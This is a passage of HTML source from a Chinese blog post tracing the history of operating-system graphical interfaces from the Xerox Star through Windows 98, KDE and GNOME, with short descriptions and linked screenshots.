wp-image-107 aligncenter\" title=\"02-xerox-8010-star\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/02-xerox-8010-star.gif\" alt=\"02-xerox-8010-star\" width=\"615\" height=\"486\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/02-xerox-8010-star.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/02-xerox-8010-star-300x237.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a>Xerox 8010 Star, Source: </span></em><a href=\"http://toastytech.com/guis/starbitmap2.gif\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<p> </p>\n<h2><strong>Apple Lisa Office System 1 (released in 1983)</strong></h2>\n<p>这个操作系统也叫Lisa OS，这里的OS是Office System的缩写。它由Apple公司开发主要目的用于文档处理工作站。不幸的是，这款机器的寿命并不长，最终这个工作站被更便宜的Apple的Macintosh操作系统所取代。Lisa OS 几个升级包括 1983年的 Lisa OS2, 1984年的 Lisa OS 7/7 3.1。下面是其操作系统截图。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-108 aligncenter\" title=\"03-apple-lisa-1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/03-apple-lisa-1.gif\" alt=\"03-apple-lisa-1\" width=\"615\" height=\"311\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/03-apple-lisa-1.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/03-apple-lisa-1-300x151.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" />Apple Lisa OS 1, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/lisaos10\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">GUIdebook</span></em></strong></a></p>\n<h2><strong>VisiCorp Visi On (released in 1984)</strong></h2>\n<p>下面是IBM PC上的第一个图形界面的操作系统，叫Visi，其主要是给大公司用的，当然其价格也是非常高昂的。这个图形界面使用了鼠标，内置的安装程序以及帮助文档，但没有使用icon。下面是截图。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/05-visi-on.gif\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/05-visi-on.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-110 aligncenter\" title=\"05-visi-on\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/05-visi-on.gif\" alt=\"05-visi-on\" width=\"615\" height=\"384\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/05-visi-on.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/05-visi-on-300x187.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\n<a href=\"https://coolshell.cn/wp-content/uploads/2009/03/06-visi-on.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-111 aligncenter\" title=\"06-visi-on\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/06-visi-on.jpg\" alt=\"06-visi-on\" width=\"615\" height=\"384\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/06-visi-on.jpg 615w, https://coolshell.cn/wp-content/uploads/2009/03/06-visi-on-300x187.jpg 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nVisiCoprt Visi On, Source: </span></em><a href=\"http://toastytech.com/guis/vision3.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<h2><strong>Mac OS System 1.0 (released in 1984)</strong></h2>\n<p>Mac OS System 1.0是第一个划时代的图形界面，因为它其中的很多技术到今天还在使用。比如，基于窗口用图标的UI，窗口可以被鼠标移动，可以使用鼠标拖动文件和目录以完成文件的copy和move。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/07-mac-os-1.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-112 aligncenter\" title=\"07-mac-os-1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/07-mac-os-1.gif\" alt=\"07-mac-os-1\" width=\"512\" height=\"342\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/07-mac-os-1.gif 512w, https://coolshell.cn/wp-content/uploads/2009/03/07-mac-os-1-300x200.gif 300w\" sizes=\"(max-width: 512px) 100vw, 512px\" /></a><br />\nApple Mac System 1.0, Source: </span></em><a href=\"http://toastytech.com/guis/macos1.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<h2><strong>Amiga Workbench 1.0 (released in 1985)</strong></h2>\n<p>Amiga在第一次release出来是超前的，它支持背景色的更换四色:黑，白，蓝，橙），原始的多任务处理，还有立体声，以及多状态的图标（选中和未选中）</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/09-amiga-workbench-10.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-114 aligncenter\" title=\"09-amiga-workbench-10\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/09-amiga-workbench-10.gif\" alt=\"09-amiga-workbench-10\" width=\"615\" height=\"384\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/09-amiga-workbench-10.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/09-amiga-workbench-10-300x187.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nAmiga Workbench 1.0, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/amigaos10\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">GUIdebook</span></em></strong></a></p>\n<h2><strong>Windows 1.0x (released in 1985)</strong></h2>\n<p><span style=\"font-family: Tahoma;\">微软作为一个图形界面的狂热者，在图形界面上的有着执着的热情，1985年，微软终于在图形用户界面大潮中占据了一席之地，Windows 1.0 是其第一款基于 GUI 的操作系统 。使用了 32&#215;32 像素的图标以及彩色图形，其最有趣的功能是模拟时钟动画图标。</span></p>\n<div style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/10-windows-1.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-115 aligncenter\" title=\"10-windows-1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/10-windows-1.gif\" alt=\"10-windows-1\" width=\"615\" height=\"336\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/10-windows-1.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/10-windows-1-300x163.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a>Microsoft Windows 1.01, Source: <a href=\"http://www.makowski-berlin.de/\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">makowski-berlin.de</span></em></strong></a></span></em></div>\n<p> </p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/11-windows-11.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-116 aligncenter\" title=\"11-windows-11\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/11-windows-11.gif\" alt=\"11-windows-11\" width=\"615\" height=\"336\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/11-windows-11.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/11-windows-11-300x163.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nMicrosoft Windows 1.01, Source: <a href=\"http://www.makowski-berlin.de/\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">makowski-berlin.de</span></em></strong></a></p>\n<p><em></em> </p>\n<h2>1986 &#8211; 1990</h2>\n<h2><strong>IRIX 3 (released in 1986, first release 1984)</strong></h2>\n<p>64位的IRIX操作系统源自UNIX。它的一个有趣功能是支持矢量图标，这个功能远在 Max OS X 面世前就出现了。下面是截图（看起来，比Windows成熟了太多了）</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/12-irix-3.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-117 aligncenter\" title=\"12-irix-3\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/12-irix-3.jpg\" alt=\"12-irix-3\" width=\"615\" height=\"394\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/12-irix-3.jpg 615w, https://coolshell.cn/wp-content/uploads/2009/03/12-irix-3-300x192.jpg 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nSilicon Graphics IRIX 3.0, Source: </span></em><a href=\"http://www.osnews.com/story/1859/SGI_SPECIAL:_Introducing_the_Jewel_of_UNIX_the_64-bit_IRIX_OS\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">osnews.com</span></em></strong></a></p>\n<h2><strong>Windows 2.0x (released in 1987)</strong></h2>\n<p>Windows在这个版本有重大的改进。比如窗口可以重叠，可以改变大小，可以最大化和最小化。下面是截图。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/13-windows-2.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-118 aligncenter\" title=\"13-windows-2\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/13-windows-2.gif\" alt=\"13-windows-2\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/13-windows-2.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/13-windows-2-300x224.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a></span></em></p>\n<p style=\"TEXT-ALIGN: left\"> </p>\n<div style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\">Microsoft Windows 2.03, Source: <a href=\"http://www.guidebookgallery.org/screenshots/win203\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></span></em></div>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/14-windows-21.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-119 aligncenter\" title=\"14-windows-21\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/14-windows-21.gif\" alt=\"14-windows-21\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/14-windows-21.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/14-windows-21-300x224.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nMicrosoft Windows 2.03, Source: <a href=\"http://www.guidebookgallery.org/screenshots/win203\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<p><em></em> </p>\n<h2><strong>OS/2 1.x (released in 1988)</strong></h2>\n<p>OS/2 版本1.x本来是IBM和Microsoft一起开发的，但是1991年两个公司分道扬镳，微软做自己的windows去了，而IBM继续OS/2的开发，这个操作系统的GUI又被叫作“Presentation Manager”，这个版本的OS/2只支持很单一的色调和不能移动的图标。</p>\n<p style=\"TEXT-ALIGN: center\"> </p>\n<div style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/15-os-2-1.gif\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/15-os-2-1.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-120 aligncenter\" title=\"15-os-2-1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/15-os-2-1.gif\" alt=\"15-os-2-1\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/15-os-2-1.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/15-os-2-1-300x224.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nMicrosoft-IBM OS/2 1.1, Source: <a href=\"http://pages.prodigy.net/michaln/history/os211/index.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">pages.prodigy.net</span></em></strong></a></span></em></div>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/16-os-2-11.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-121 aligncenter\" title=\"16-os-2-11\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/16-os-2-11.gif\" alt=\"16-os-2-11\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/16-os-2-11.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/16-os-2-11-300x224.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nMicrosoft-IBM OS/2 1.1, Source: <a href=\"http://pages.prodigy.net/michaln/history/os211/index.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">pages.prodigy.net</span></em></strong></a></p>\n<p> </p>\n<h2><strong>NeXTSTEP / OPENSTEP 1.0 (released in 1989)</strong></h2>\n<p> Steve Jobs 想给大学或研究实验室做一个完美的Research电脑，于是这个想法促成了NeXT Computer Inc.在1989年的时候release了 NeXTSTEP 1.0 GUI，在后来它被改名为：OPENSTEP。</p>\n<p>该 GUI 的图标很大，48&#215;48像素，包含更多颜色，一开始是单色的，从1.0开始支持彩色，下图中已经可以看到现代 GUI 的影子。</p>\n<p>下面是截屏： </p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/17-nextstep-1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-122 aligncenter\" title=\"17-nextstep-1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/17-nextstep-1.jpg\" alt=\"17-nextstep-1\" width=\"615\" height=\"463\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/17-nextstep-1.jpg 615w, https://coolshell.cn/wp-content/uploads/2009/03/17-nextstep-1-300x225.jpg 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nNeXTSTEP 1.0, Source: </span></em><a href=\"http://www.kernelthread.com/publications/appleoshistory/7.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">kernelthread.com</span></em></strong></a></p>\n<h2><strong>OS/2 1.20 (released in 1989)</strong></h2>\n<p>接下来，OS/2升级成了1.20，我们可以看到，图标和窗口变得好看了许多，图标看上去更好看，窗体也显得更平滑。（是不是很像Windows 3.2?）</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/18-os-2-12.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-123 aligncenter\" title=\"18-os-2-12\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/18-os-2-12.gif\" alt=\"18-os-2-12\" width=\"615\" height=\"480\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/18-os-2-12.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/18-os-2-12-300x234.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a>OS/2 1.2, Source </span></em><a href=\"http://pages.prodigy.net/michaln/history/os211/index.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">pages.prodigy.net</span></em></strong></a></p>\n<h2><strong>Windows 3.0 (released in 1990)</strong></h2>\n<p>自从微软和IBM分开后，微软就意识到图形界面对用户的体验会是一个很不错东西，于是他们开始了有意义的改进。操作系统支持386 扩展模式，也就是说可以使用除了640K更多的内存和硬盘空间。并且有能力有更好的显示，如Super VGA 800×600 和 1024×768.</p>\n<p>此时，Microsoft 雇佣了 <a href=\"http://en.wikipedia.org/wiki/Susan_Kare\"><strong><span style=\"color: #9e0728; font-family: Tahoma;\">Susan Kare</span></strong></a> ，她设计了Windows 3.0 的图标并统一了图形界面的风格。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-124 aligncenter\" title=\"19-windows-3\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3.gif\" alt=\"19-windows-3\" width=\"615\" height=\"461\" /></a><br />\nMicrosoft Windows 3.0, Source: </span></em><a href=\"http://toastytech.com/guis/win30.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/20-windows-31.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-125 aligncenter\" title=\"20-windows-31\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/20-windows-31.gif\" alt=\"20-windows-31\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/20-windows-31.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/20-windows-31-300x224.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nMicrosoft Windows 3.0, Source: </span></em><a href=\"http://toastytech.com/guis/win30.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<h2>1991 &#8211; 1995</h2>\n<h2><strong>Amiga Workbench 2.04 (released in 1991)</strong></h2>\n<p>看来，Amiga Workbench有了很多的改进，该版 GUI 包含很多改进，桌面可以垂直分割成不同分辨率和颜色深度，在现在看来似乎有些奇怪。默认的分辨率是 640&#215;256，不过硬件支持更高的分辨率。但感觉还是土了点。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/21-amiga-workbench-2.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-126 aligncenter\" title=\"21-amiga-workbench-2\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/21-amiga-workbench-2.gif\" alt=\"21-amiga-workbench-2\" width=\"615\" height=\"492\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/21-amiga-workbench-2.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/21-amiga-workbench-2-300x240.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nCommodore Amiga Workbench 2.04, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/amigaos204\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<p> </p>\n<h2><strong>Mac OS System 7 (released in 1991)</strong></h2>\n<p>Mac OS version 7.0 是第一个支持彩色Mac OS GUI ，还有阴影。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/22-macos-7.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-127 aligncenter\" title=\"22-macos-7\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/22-macos-7.jpg\" alt=\"22-macos-7\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/22-macos-7.jpg 615w, https://coolshell.cn/wp-content/uploads/2009/03/22-macos-7-300x224.jpg 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nApple Mac OS System 7.0, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/macos70\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<h2>Windows 3.1 (released in 1992)</h2>\n<p>这个版本的 Windows 引入了TrueType 字体，第一次使 Windows 成为可以用于印刷的系统。整个界面有非常大的改善，Windows 3.0 中，只能通过 Adobe 字体管理器（ATM）实现该功能。该版本同时包含一个叫做 Hotdog Stand 的配色主题。并且配色还能够照顾有色盲症的人。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/24-windows_311_workspace.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-129 aligncenter\" title=\"24-windows_311_workspace\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/24-windows_311_workspace.png\" alt=\"24-windows_311_workspace\" width=\"640\" height=\"480\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/24-windows_311_workspace.png 640w, https://coolshell.cn/wp-content/uploads/2009/03/24-windows_311_workspace-300x225.png 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></a><br />\nSource: </span></em><a rel=\"nofollow\" href=\"http://en.wikipedia.org/wiki/Windows_3.1x\" target=\"_blank\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">Wikipedia</span></em></strong></a></p>\n<h2>OS/2 2.0 (released in 1992)</h2>\n<p>这是第一个被提交到互联网上接受可用性与可访问性测试的GUI，整个GUI使用了面向对象的方法设计，每个文件和文件夹都是一个对象，可以同别的文件，文件夹与应用程序关联。它同时支持拖放式操作以及模板功能。看上去已是很不错了。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/25-os-2-2.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-130 aligncenter\" title=\"25-os-2-2\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/25-os-2-2.gif\" alt=\"25-os-2-2\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/25-os-2-2.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/25-os-2-2-300x224.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a></span></em></p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/26-os-2-21.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-131 aligncenter\" title=\"26-os-2-21\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/26-os-2-21.gif\" alt=\"26-os-2-21\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/26-os-2-21.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/26-os-2-21-300x224.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nIBM OS/2 2.0, Source: </span></em><a href=\"http://toastytech.com/guis/os220.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<h2><strong>Windows 95 (released in 1995)</strong></h2>\n<p>Windows 3.x 之后，微软对整个GUI被完全重新设计，这是第一个在每个窗口上加上了关闭按钮的GUI。设计团队让图标有了几个状态 (enabled, disabled, selected, checked, etc.) 这也是最著名的“开始”按钮第一次出现的时候。<span style=\"font-family: Tahoma;\">这是Microsoft历史上最大的一步，从此走上了帝国之路。</span></p>\n<p style=\"TEXT-ALIGN: left\"><em><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/27-windows-951.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-132 aligncenter\" title=\"27-windows-951\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/27-windows-951.gif\" alt=\"27-windows-951\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/27-windows-951.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/27-windows-951-300x224.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a></em></p>\n<p style=\"TEXT-ALIGN: left\"><em><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/28-windows-95.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-133 aligncenter\" title=\"28-windows-95\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/28-windows-95.gif\" alt=\"28-windows-95\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/28-windows-95.gif 615w, https://coolshell.cn/wp-content/uploads/2009/03/28-windows-95-300x224.gif 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nMicrosoft Windows 95, Source: </em><a href=\"http://www.guidebookgallery.org/screenshots/win95\"><em>guidebookgallery.org</em></a></p>\n<h2>1996 &#8211; 2000</h2>\n<h2><strong>OS/2 Warp 4 (released in 1996)</strong></h2>\n<p><span style=\"font-family: Tahoma;\"></span></p>\n<p>IBM 终于争气地推出了 OS/2 Warp 4。桌面上可以放置图标，也可以自己创建文件和文件夹，并推出一个类似 Windows 回收站和 Mac 垃圾箱的文件销毁器，不过一旦放进去进不能再恢复。各个操作系统的图形界面开始越来越相似了。都是icons，窗口，垃圾回收站，等等，大同小异了。</p>\n<p> </p>\n<p> </p>\n<div style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/29-os-2-warp-4.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-134 aligncenter\" title=\"29-os-2-warp-4\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/29-os-2-warp-4.jpg\" alt=\"29-os-2-warp-4\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/29-os-2-warp-4.jpg 615w, https://coolshell.cn/wp-content/uploads/2009/03/29-os-2-warp-4-300x224.jpg 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><em></em></span></em></div>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/30-os-2-warp-41.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-135 aligncenter\" title=\"30-os-2-warp-41\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/30-os-2-warp-41.jpg\" alt=\"30-os-2-warp-41\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/30-os-2-warp-41.jpg 615w, https://coolshell.cn/wp-content/uploads/2009/03/30-os-2-warp-41-300x224.jpg 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a><br />\nIBM OS/2 Warp 4, Source:<a href=\"http://toastytech.com/guis/os24.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a>  </p>\n<h2><strong>Mac OS System 8 (released in 1997)</strong></h2>\n<p style=\"TEXT-ALIGN: left\"><span style=\"font-family: Tahoma;\">该版本的 GUI 支持默认的256色图标，Mac OS 8 最早采用了伪3D图标，其灰蓝色彩主题后来成为 Mac OS GUI 的标志。</span></p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/31-macos-8.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-136 aligncenter\" title=\"31-macos-8\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/31-macos-8.jpg\" alt=\"31-macos-8\" width=\"615\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/31-macos-8.jpg 615w, https://coolshell.cn/wp-content/uploads/2009/03/31-macos-8-300x224.jpg 300w\" sizes=\"(max-width: 615px) 100vw, 615px\" /></a>Apple Mac OS 8, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/macos80\"><strong><span style=\"color: #9e0728; font-family: Tahoma;\"><em>guidebookgallery.org</em></span></strong></a></p>\n<p> </p>\n<h2><strong>Windows 98 (released in 1998)</strong></h2>\n<p> 图标风格和 Windows 95 几无二致，不过颜色支持得更多了。支持超过了256色的图标。第一次出现了“Active Desktop”，桌面和IE集成，开始了internet的全面集成。</p>\n<p><em><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/32-windows-98.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"32-windows-98\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/32-windows-98.jpg\" alt=\"32-windows-98\" width=\"615\" height=\"461\" /></a><br />\nMicrosoft Windows 98, Source: </em><a href=\"http://toastytech.com/guis/win98.html\"><strong><em><span style=\"color: #9e0728;\">toastytech.com</span></em></strong></a></p>\n<p>  </p>\n<h2><strong>KDE 1.0 (released in 1998)</strong></h2>\n<p>KDE是 Linux 的一个统一图形用户界面环境。</p>\n<p><a href=\"http://www.guidebookgallery.org/screenshots/macos80\"><strong><em></em></strong></a></p>\n<p><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/33-kde-1.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"33-kde-1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/33-kde-1.jpg\" alt=\"33-kde-1\" width=\"615\" height=\"461\" /></a><br />\nKDE 1.0, Source: </span></em><a href=\"http://ditesh.gathani.org/blog/2008/04/25/culture-matters/\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">ditesh.gathani.org</span></em></strong></a></p>\n<h2><strong>GNOME 1.0 (released in 1999)</strong></h2>\n<p>Red Hat Linux发行版开发的GUI，GNOME后来也被别的 Linux 采用。</p>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/34-gnome-1.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"34-gnome-1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/34-gnome-1.gif\" alt=\"34-gnome-1\" width=\"615\" height=\"461\" /></a></p>\n<p><em><span style=\"font-family: Tahoma;\">Red Hat Linux GNOME 1.0.39, Source: </span></em><a href=\"http://www.visionfutur.com/img/histoire/gnome1-1.jpg\"><strong><em><span style=\"color: #9e0728; 